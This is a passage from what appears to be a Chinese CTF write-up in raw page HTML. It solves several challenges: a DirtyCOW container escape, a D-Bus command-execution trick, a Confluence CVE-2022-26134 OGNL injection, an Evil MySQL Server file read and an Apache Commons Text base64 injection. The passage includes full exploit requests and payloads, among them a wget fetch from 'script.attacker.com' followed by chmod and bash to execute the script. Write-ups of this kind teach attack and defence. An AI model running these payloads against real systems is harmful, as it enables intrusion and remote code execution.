&#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;text-align: left;white-space: pre-wrap;caret-color: rgb(23, 26, 29);background-color: rgb(255, 255, 255);">vDSO</span> 内存的修改触发 COW，但是新版本 docker 默认禁止 ptrace</span><span style="font-size: 15px;">。</span></p></li><li style="font-size: 15px;"><p style="line-height: 1.75em;margin-top: 15px;text-align: left;"><span style="caret-color: rgb(23, 26, 29);color: rgb(23, 26, 29);font-family: -apple-system, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);font-size: 15px;">该利用对 <span style="font-size: 15px;"><span style="color: rgb(23, 26, 29);font-family: -apple-system, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;text-align: left;white-space: pre-wrap;caret-color: rgb(23, 26, 29);background-color: rgb(255, 255, 255);">vDSO</span></span> 的 patch 选择的位置在 ubuntu 的内核里触发不了，需要换一个 patch 点</span><span style="caret-color: rgb(23, 26, 29);color: rgb(23, 26, 29);font-family: -apple-system, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);font-size: 15px;">。</span></p></li></ol></section><p><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">本着不能只有自己被坑的原则，出了这题。</span></p><p style="line-height:1.75em;"><br/></p><p style="line-height: 1.75em;text-align: left;"><span style="font-size:15px;">需要将原来的ptrace利用方式换回 /proc/self/mem 利用并且更换触发点。或者不想改也可以重写一遍DirtyCOW利用即可。利用参考</span></p><p style="line-height: 1.75em;text-align: left;"><span style="font-size: 15px;color: rgb(77, 189, 199);"><a href="https://github.com/zh-explorer/dirtycow.git" target="_blank">https://github.com/zh-explorer/dirtycow.git</a></span><span style="font-size:15px;">。</span></p><p style="line-height: 1.75em;text-align: left;"><span style="font-size:15px;"><br/></span></p><p style="line-height: 1.75em;text-align: left;"><span style="font-size:15px;">利用流程如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">pip install -i <a href="https://pypi.tuna.tsinghua.edu.cn/simple" target="_blank">https://pypi.tuna.tsinghua.edu.cn/simple</a> pyelftools</span></code><code><span class="code-snippet_outer">git clone <a href="https://github.com/zh-explorer/dirtycow.git" target="_blank">https://github.com/zh-explorer/dirtycow.git</a></span></code><code><span class="code-snippet_outer">cd  dirtycow</span></code><code><span class="code-snippet_outer">mkdir build</span></code><code><span class="code-snippet_outer">cd build</span></code><code><span class="code-snippet_outer">cmake ..</span></code><code><span class="code-snippet_outer">make</span></code><code><span class="code-snippet_outer">./dirtycow {IP} 31337</span></code></pre></section><section style="margin-bottom: 0px;"><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="113" data-backw="404" data-ratio="0.27970297029702973" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="404" src="https://wechat2rss.xlab.app/img-proxy/?k=4d7fbcda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxYiaibR1JoxHD838E2E9LqPqHDQduxe8HN3qZSfbicicWZfP0yf81lGILjA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="157" data-backw="487" data-ratio="0.32238193018480493" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="487" src="https://wechat2rss.xlab.app/img-proxy/?k=881166bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkx08eUu5KZqpZiaGw9TE5pfjgl6enFJ76yiaCWZf1MwFzNJQUpyCEcT5uA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="93368" data-color="#7ac259"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="box-sizing:border-box;max-width: 100% !important;width: 100%;height: 1px;background-color: #7ac259;overflow: hidden;" data-width="100%" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10327"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;border-left: 3px solid #7ac259;border-right: 3px solid #7ac259;background-color: #ffffff;border-top-color: #7ac259;border-bottom-color: #7ac259;color: #7ac259;box-sizing: border-box;" class="js_darkmode__10328" data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)"><strong data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)"><span style="font-size:18px;" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)">Be-a-BUS-Driver</span></strong></section></section></section></section><p style="margin: 10px 0% 0px;box-sizing: border-box;"><br/></p></section><p style="line-height:1.75em;"><span style="font-size:15px;">题目中运行了一个 D-Bus 服务， 通过</span><span style="font-size: 15px;background-color: rgb(166, 166, 166);"> busctl --system --list </span><span style="font-size:15px;">命令可以列出当前注册的 system D-Bus 服务， 其中有一个叫 ezbus 的尤其可疑。</span></p><p style="text-align: left;margin-bottom: 0px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="173" data-backw="578" data-ratio="0.3" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="820" src="https://wechat2rss.xlab.app/img-proxy/?k=914a1cb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkx36bvCLH4Njibr7YAtAJkRu1cSH9OsZbSoNF2WTgM0au2pZbrWFvclZw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.75em;text-align: left;"><span style="font-size:15px;"><br/></span></p><p style="line-height: 1.75em;text-align: left;"><span style="font-size:15px;">通过<span style="background-color: rgb(166, 166, 166);"> busctl introspect org.dbus.rwctf /org/dbus/rwctf </span>命令可以列出其实现的方法名， 例如可以看到其实现了一个名为<span style="background-color: rgb(166, 166, 166);"> SayBoss </span>的方法，接受字符串参数。</span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="278" data-backw="578" data-ratio="0.4810126582278481" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="711" src="https://wechat2rss.xlab.app/img-proxy/?k=854c8b58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkx8LBib013wqu1RPia8Ajia6aTnsyM4sOT1ZMElnEJUpeaBjNaibmvcETVRw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;margin-bottom: 0px;"><span style="font-size: 15px;"><br/></span></p><p style="text-align: left;margin-bottom: 0px;"><span style="font-size: 15px;">打开 IDA 进行逆向， 找到 SayBoss 方法</span></p><p style="text-align: left;margin-bottom: 0px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="159" data-backw="578" data-ratio="0.27485380116959063" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="855" src="https://wechat2rss.xlab.app/img-proxy/?k=f3b14e01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkx3ibTlsuYngJdd6mibxVFZdibNKGxWFHoDibEJIFo92ylvfoUpKUPB5LfSw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height:1.75em;"><span style="font-size:15px;"><br/></span></p><p style="line-height:1.75em;"><span style="font-size:15px;">发现 count 变量计算了调用该函数的次数，如果大于 0xA ，即可执行命令。</span></p><p><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">因此我们只需调用往 /tmp/exp.sh 写入我们要执行的命令， 然后使用下面这句命令调用超过 10 次即可。</span></p><p style="margin-bottom: 0px;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">busctl --system call org.dbus.rwctf /org/dbus/rwctf org.dbus.rwctf1 SayBoss s &#34;/tmp/exp.sh&#34;</span></code></pre></section><p style="margin-bottom: 0px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="100" data-backw="578" data-ratio="0.17233560090702948" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="882" src="https://wechat2rss.xlab.app/img-proxy/?k=027864a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxLbIDhVdR4GiaDNOiagBiaIPdeWiabW6H6YGZk3ibjPGz89Buxq9JwugdnEA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="93744" data-color="#7ac259"><section style="text-align: center;padding-top: 1em;padding-bottom: 1em;box-sizing: border-box;"><section><section style="display: inline-block;"><section style="display:flex;justify-content: center;align-items: flex-end;"><section style="box-sizing: border-box;width: 4px;height: 32px;background: #7ac259;border-top-left-radius: 2px;border-bottom-left-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10346"><br/></section><section style="border-bottom: 4px solid #7ac259;box-sizing: border-box;"><section style="padding: 5px 1.4em;background: rgb(255, 255, 255);border-width: 1px;border-style: dashed;border-color: rgb(51, 51, 51);letter-spacing: 2px;transform: rotate(0deg);" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" class="js_darkmode__10347"><section data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><span style="font-size:24px;" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><strong data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)">Web</strong></span></section></section></section><section style="box-sizing: border-box;width: 4px;height: 32px;background: #7ac259;border-top-right-radius: 2px;border-bottom-right-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10348"><br/></section></section></section></section></section></section><p style="text-align: left;margin-bottom: 0px;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="93408" data-color="#7ac259"><section style="display:flex;justify-content: center;align-items: center;margin:10px auto;"><section data-brushtype="text" style="border-left: 5px solid rgb(122, 194, 89);padding-right: 5px;padding-left: 5px;box-sizing: border-box;">Be-a-Wiki-Hacker</section><section class="js_darkmode__10349" style="overflow:hidden;height:1px;background:#7ac259;flex:1;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section><section class="js_darkmode__10350" style="overflow:hidden;height:6px;background:#7ac259;width:6px;border-radius:100%;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section></section></section><p style="text-align: left;margin-bottom: 0px;"><br/></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span style="font-size:15px;">根据页面上显示的版本 <span data-type="text" style="color: #24292f;" data-darkmode-color="rgb(179, 187, 197)" data-darkmode-original-color="rgb(36, 41, 47)" class="js_darkmode__10331">7.13.6</span>，搜索 Confluence 历史漏洞，可以发现 CVE-2022-26134 这个表达式注入漏洞是可以利用的，执行 id 命令的利用验证poc：</span></p><p style="margin-bottom: 0px;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1</span></code><code><span class="code-snippet_outer">Host: example.com:8080</span></code><code><span class="code-snippet_outer">Accept-Encoding: gzip, deflate</span></code><code><span class="code-snippet_outer">Accept: */*</span></code><code><span class="code-snippet_outer">Accept-Language: en</span></code><code><span class="code-snippet_outer">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36</span></code><code><span class="code-snippet_outer">Connection: close</span></code></pre></section><p style="margin-bottom: 0px;"><br/></p><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcpyxws4dne2r8cc0ht&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;url路径部分就是ognl表达式url编码后的内容，所以执行的表达式其实就是：&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3B5eHdzNGRuZTJyOGNjMGh0JTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIydXJsJUU4JUI3JUFGJUU1JUJFJTg0JUU5JTgzJUE4JUU1JTg4JTg2JUU1JUIwJUIxJUU2JTk4JUFGb2dubCVFOCVBMSVBOCVFOCVCRSVCRSVFNSVCQyU4RnVybCVFNyVCQyU5NiVFNyVBMCU4MSVFNSU5MCU4RSVFNyU5QSU4NCVFNSU4NiU4NSVFNSVBRSVCOSVFRiVCQyU4QyVFNiU4OSU4MCVFNCVCQiVBNSVFNiU4OSVBNyVFOCVBMSU4QyVFNyU5QSU4NCVFOCVBMSVBOCVFOCVCRSVCRSVFNSVCQyU4RiVFNSU4NSVCNiVFNSVBRSU5RSVFNSVCMCVCMSVFNiU5OCVBRiVFRiVCQyU5QSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><p><span style="font-size: 15px;">url 路径部分就是 ognl 表达式 url 编码后的内容，所以执行的表达式其实就是：</span></p></article><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(&#34;id&#34;).getInputStream(),&#34;utf-8&#34;)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(&#34;X-Cmd-Response&#34;,#a))}</span></code></pre></section><p style="margin-bottom: 0px;"><br/></p><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;uuid&#34;:&#34;lcpyz8syvbnf1j26fvb&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;如果要拿服务器shell权限，可以反弹shell，这里注意 Java 里 Runtime 直接传递字符串执行 exec 的话，命令里不支持shell语法特性（比如管道符、重定向等），以及这里由于tomcat处理url的安全特性，url里不能出现编码后的斜线，所以可以执行最简单的，wget 从远程拉一个脚本下来然后执行，分三次执行：&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsY3B5ejhzeXZibmYxajI2ZnZiJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU1JUE2JTgyJUU2JTlFJTlDJUU4JUE2JTgxJUU2JThCJUJGJUU2JTlDJThEJUU1JThBJUExJUU1JTk5JUE4c2hlbGwlRTYlOUQlODMlRTklOTklOTAlRUYlQkMlOEMlRTUlOEYlQUYlRTQlQkIlQTUlRTUlOEYlOEQlRTUlQkMlQjlzaGVsbCVFRiVCQyU4QyVFOCVCRiU5OSVFOSU4NyU4QyVFNiVCMyVBOCVFNiU4NCU4RiUyMEphdmElMjAlRTklODclOEMlMjBSdW50aW1lJTIwJUU3JTlCJUI0JUU2JThFJUE1JUU0JUJDJUEwJUU5JTgwJTkyJUU1JUFEJTk3JUU3JUFDJUE2JUU0JUI4JUIyJUU2JTg5JUE3JUU4JUExJThDJTIwZXhlYyUyMCVFNyU5QSU4NCVFOCVBRiU5RCVFRiVCQyU4QyVFNSU5MSVCRCVFNCVCQiVBNCVFOSU4NyU4QyVFNCVCOCU4RCVFNiU5NCVBRiVFNiU4QyU4MXNoZWxsJUU4JUFGJUFEJUU2JUIzJTk1JUU3JTg5JUI5JUU2JTgwJUE3JUVGJUJDJTg4JUU2JUFGJTk0JUU1JUE2JTgyJUU3JUFFJUExJUU5JTgxJTkzJUU3JUFDJUE2JUUzJTgwJTgxJUU5JTg3JThEJUU1JUFFJTlBJUU1JTkwJTkxJUU3JUFEJTg5JUVGJUJDJTg5JUVGJUJDJThDJUU0JUJCJUE1JUU1JThGJThBJUU4JUJGJTk5JUU5JTg3JThDJUU3JTk0JUIxJUU0JUJBJThFdG9tY2F0JUU1JUE0JTg0JUU3JTkwJTg2dXJsJUU3JTlBJTg0JUU1JUFFJTg5JUU1JTg1JUE4JUU3JTg5JUI5JUU2JTgwJUE3JUVGJUJDJThDdXJsJUU5JTg3JThDJUU0JUI4JThEJUU4JTgzJUJEJUU1JTg3JUJBJUU3JThFJUIwJUU3JUJDJTk2JUU3JUEwJTgxJUU1JTkwJThFJUU3JTlBJTg0JUU2JTk2JTlDJUU3JUJBJUJGJUVGJUJDJThDJUU2JTg5JTgwJUU0JUJCJUE1JUU1JThGJUFGJUU0JUJCJUE1JUU2JTg5JUE3JUU4JUExJThDJUU2JTlDJTgwJUU3JUFFJTgwJUU1JThEJTk1JUU3JTlBJTg0JUVGJUJDJThDd2dldCUyMCVFNCVCQiU4RSVFOCVCRiU5QyVFNyVBOCU4QiVFNiU4QiU4OSVFNCVCOCU4MCVFNCVCOCVBQSVFOCU4NCU5QSVFNiU5QyVBQyVFNCVCOCU4QiVFNiU5RCVBNSVFNyU4NCVCNiVFNSU5MCU4RSVFNiU4OSVBNyVFOCVBMSU4QyVFRiVCQyU4QyVFNSU4OCU4NiVFNCVCOCU4OSVFNiVBQyVBMSVFNiU4OSVBNyVFOCVBMSU4QyVFRiVCQyU5QSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><section style="line-height: 1.75em;"><span style="font-size: 15px;">如果要拿服务器 shell 权限，可以反弹 shell，这里注意 Java 里 Runtime 直接传递字符串执行 exec 的话，命令里不支持 shell 语法特性（比如管道符、重定向等），以及这里由于 tomcat 处理 url 的安全特性，url 里不能出现编码后的斜线，所以可以执行最简单的，wget 从远程拉一个脚本下来然后执行，分三次执行：</span></section></article><p style="margin-bottom: 0px;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(&#34;wget script.attacker.com&#34;).getInputStream(),&#34;utf-8&#34;)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(&#34;X-Cmd-Response&#34;,#a))}</span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(&#34;chmod +x index.html&#34;).getInputStream(),&#34;utf-8&#34;)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(&#34;X-Cmd-Response&#34;,#a))}</span></code></pre></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(&#34;bash index.html&#34;).getInputStream(),&#34;utf-8&#34;)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(&#34;X-Cmd-Response&#34;,#a))}</span></code></pre></section><p style="margin-bottom: 0px;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="93408" data-color="#7ac259"><section style="display:flex;justify-content: center;align-items: center;margin:10px auto;"><section data-brushtype="text" style="border-left: 5px solid rgb(122, 194, 89);padding-right: 5px;padding-left: 5px;box-sizing: border-box;">Evil MySQL Server</section><section class="js_darkmode__10395" style="overflow:hidden;height:1px;background:#7ac259;flex:1;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section><section class="js_darkmode__10396" style="box-sizing:border-box;overflow:hidden;height:6px;background:#7ac259;width:6px;border-radius:100%;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section></section></section><p style="margin-bottom: 0px;"><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">这题考查的是 mysql 连接到恶意服务器时，恶意服务端可以读取 mysql 客户端本地文件的特性利用。如果不了解这个安全问题的选手，也可以根据题目提示“Evil MySQL Server”进行 Google 查询，能找到相关的安全资料。本题在体验赛赛题讲解视频里也有更为详细的讲解，这里简单说下怎么做。</span></p><p style="line-height:1.75em;"><span style="font-size:15px;"><br/></span></p><p style="line-height: 1.75em;text-align: left;"><span style="font-size:15px;">可以直接借助工具 MySQL Fake Server：</span><span style="font-size: 15px;color: rgb(77, 189, 199);"><a href="https://github.com/fnmsd/MySQL_Fake_Server" target="_blank">https://github.com/fnmsd/MySQL_Fake_Server</a></span></p><p style="line-height:1.75em;"><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">用它在你自己的公网 vps 服务器上启动一个恶意的 mysql server，比如地址是 1.1.1.1，端口3306，然后打开题目，在表单里填上对应的服务器地址，用户名处填 fileread_/flag，提交。mysql fake server 就会收到请求，并读到 /flag 文件内容。</span></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="93408" data-color="#7ac259"><section style="display:flex;justify-content: center;align-items: center;margin:10px auto;"><section data-brushtype="text" style="border-left: 5px solid rgb(122, 194, 89);padding-right: 5px;padding-left: 5px;box-sizing: border-box;">ApacheCommandText</section><section class="js_darkmode__10442" style="overflow:hidden;height:1px;background:#7ac259;flex:1;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section><section class="js_darkmode__10443" style="box-sizing:border-box;overflow:hidden;height:6px;background:#7ac259;width:6px;border-radius:100%;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"/></section></section></section><p style="margin-bottom: 0px;"><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">由于 apache common text 在默认配置下会对数据进行递归解析。这道题对一些常见利用的字符串进行了过滤，但没有过滤base64decoder，因此我们可以使用base64decoder以及递归特性进行漏洞利用。</span></p><p><br/></p><p style="line-height:1.75em;"><strong><span style="font-size: 15px;color: #7ac259;">POC</span></strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">${base64decoder:JHtzY3JpcHQ6SmF2YVNjcmlwdDp2YXIgYT1qYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiL3JlYWRmbGFnIik7dmFyIGI9YS5nZXRJbnB1dFN0cmVhbSgpO3ZhciBjPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKG5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKGIpKTtjLnJlYWRMaW5lKCk7fQ==}</span></code></pre></section><p style="margin-bottom: 0px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5202821869488536" data-s="300,640" style="" data-type="png" data-w="1134" src="https://wechat2rss.xlab.app/img-proxy/?k=7b9ffc01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkx1FicHGB1R7ws96ynpAWicHzPCBRRVByFIpPRO7WNxTibf17pPTiaVxQxyg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="93408" data-color="#7ac259"><section style="display:flex;justify-content: center;align-items: center;margin:10px auto;"><section data-brushtype="text" style="border-left: 5px solid rgb(122, 194, 89);padding-right: 5px;padding-left: 5px;box-sizing: border-box;">Be-a-Langurage-Expert</section><section class="js_darkmode__10444" style="overflow:hidden;height:1px;background:#7ac259;flex:1;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br/></section><section class="js_darkmode__10445" style="box-sizing:border-box;overflow:hidden;height:6px;background:#7ac259;width:6px;border-radius:100%;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"><br data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)"/></section></section></section><p style="margin-bottom: 0px;"><br/></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;">这题考察的是 Thinkphp 多语言功能导致的任意文件包含,这个漏洞的影响范围如下</span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;margin-top: 5px;"><span data-type="text" style="font-size:15px;">* ThinkPHP v6.0.1 &lt;= v6.0. x &lt;= v6.0.13</span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;margin-top: 5px;"><span data-type="text" style="font-size:15px;">* ThinkPHP v5.1.x</span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;margin-top: 5px;"><span data-type="text" style="font-size:15px;">* ThinkPHP v5.0.x</span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;"><br/></span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;">具体的漏洞分析可以参考:</span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span style="font-size: 15px;color: rgb(77, 189, 199);"><a href="http://tttang.com/archive/1865/" target="_blank">http://tttang.com/archive/1865/</a></span></p><p style="text-align: left;margin-bottom: 0px;line-height: 1.75em;"><span data-type="text" style="font-size:15px;"><br/></span></p><p style="text-align: left;margin-bottom: 